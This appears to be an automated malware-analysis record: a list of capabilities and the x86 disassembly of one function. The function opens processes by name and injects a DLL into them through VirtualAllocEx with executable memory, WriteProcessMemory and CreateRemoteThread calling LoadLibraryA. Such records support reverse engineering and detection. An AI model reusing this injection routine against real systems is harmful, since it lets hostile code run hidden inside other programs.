Function at 0x100a176
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Get common file path
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x232c
call sub.ntdll.dll__chkstk
push ebx
push esi
push 0x104
lea eax, [ebp - 0x228]
xor ebx, ebx
push eax
mov esi, 0x400
mov dword [ebp - 0x10], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x100a1f3
call fcn.01007c94
test eax, eax
je 0x100a1f3
push 0x1000
call sub.msvcrt.dll_malloc
jmp 0x100a1eb
mov eax, dword [0x1043ae4]
cmp eax, ebx
je 0x100a1cf
lea ecx, [ebp - 8]
push ecx
push esi
push dword [ebp - 0xc]
call eax
jmp 0x100a1d1
xor eax, eax
cmp eax, ebx
jne 0x100a1fa
push dword [ebp - 0xc]
call sub.msvcrt.dll_free
add esi, esi
mov eax, esi
shl eax, 2
push eax
call sub.msvcrt.dll_malloc
pop ecx
cmp eax, ebx
pop ecx
mov dword [ebp - 0xc], eax
jne 0x100a1ba
xor eax, eax
jmp 0x100a431
mov eax, dword [ebp - 8]
shr eax, 2
mov dword [ebp - 0x1c], eax
mov eax, ebx
push edi
mov dword [ebp - 0x14], eax
je 0x100a42e
cmp dword [ebp - 0x10], 1
je 0x100a359
mov ecx, dword [ebp - 0xc]
push dword [ecx + eax*4]
push ebx
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, ebx
mov dword [ebp - 4], esi
je 0x100a33f
xor eax, eax
push 0x40
mov byte [ebp - 0x124], bl
pop ecx
lea edi, [ebp - 0x123]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x102161c]
cmp eax, ebx
je 0x100a26c
lea ecx, [ebp - 8]
push ecx
push 0x2000
lea ecx, [ebp - 0x232c]
push ecx
push esi
call eax
jmp 0x100a26e
xor eax, eax
cmp eax, ebx
je 0x100a33f
mov eax, dword [0x1022640]
cmp eax, ebx
je 0x100a296
push 0x104
lea ecx, [ebp - 0x124]
push ecx
push dword [ebp - 0x232c]
push esi
call eax
jmp 0x100a29b
mov eax, 0x4c7
cmp eax, ebx
je 0x100a33f
lea eax, [ebp - 0x124]
push 0x100227c
push eax
call sub.ntdll.dll__strlwr
pop ecx
push eax
call sub.ntdll.dll_strstr
test eax, eax
pop ecx
pop ecx
je 0x100a33f
push ebx
push 4
lea eax, [ebp - 0x18]
push eax
push 0x18
push esi
call dword [sym.imp.ntdll.dll_NtQueryInformationProcess]
test eax, eax
jne 0x100a33f
cmp dword [ebp - 0x18], ebx
jne 0x100a33f
xor edi, edi
test dword [ebp - 8], 0xfffffffc
jbe 0x100a33f
push 0x104
lea eax, [ebp - 0x32c]
push eax
lea esi, [ebp + edi*4 - 0x232c]
push dword [esi]
push dword [ebp - 4]
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
je 0x100a32b
lea eax, [ebp - 0x32c]
push 0x1002274
push eax
call sub.ntdll.dll__strlwr
pop ecx
push eax
call sub.ntdll.dll_strstr
test eax, eax
pop ecx
pop ecx
je 0x100a32b
mov eax, dword [ebp + 8]
cmp dword [esi], eax
je 0x100a338
mov eax, dword [ebp - 8]
inc edi
shr eax, 2
cmp edi, eax
jb 0x100a2e5
jmp 0x100a33f
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x14]
inc eax
cmp eax, dword [ebp - 0x1c]
mov dword [ebp - 0x14], eax
jb 0x100a20f
cmp dword [ebp - 0x10], 1
jne 0x100a42e
push 2
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x20]
push ecx
push ebx
push ebx
push eax
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp eax, ebx
je 0x100a42e
push 0x3a980
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x100a42e
cmp dword [ebp + 0xc], ebx
jne 0x100a429
push 0xfffa
mov esi, 0x10339e0
push esi
push 0x1002264
lea eax, [ebp - 0x228]
push eax
call fcn.0100777d
mov eax, esi
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100a3bc
push 0x40
sub eax, edi
push 0x1000
inc eax
push eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
cmp edi, ebx
je 0x100a42e
mov eax, esi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x100a3e3
push ebx
sub eax, ecx
inc eax
push eax
push esi
push edi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x100a42e
lea eax, [ebp - 0x20]
push eax
push ebx
push edi
push dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp eax, ebx
je 0x100a42e
push 0x4e20
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x100a42e
xor eax, eax
inc eax
jmp 0x100a430
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 8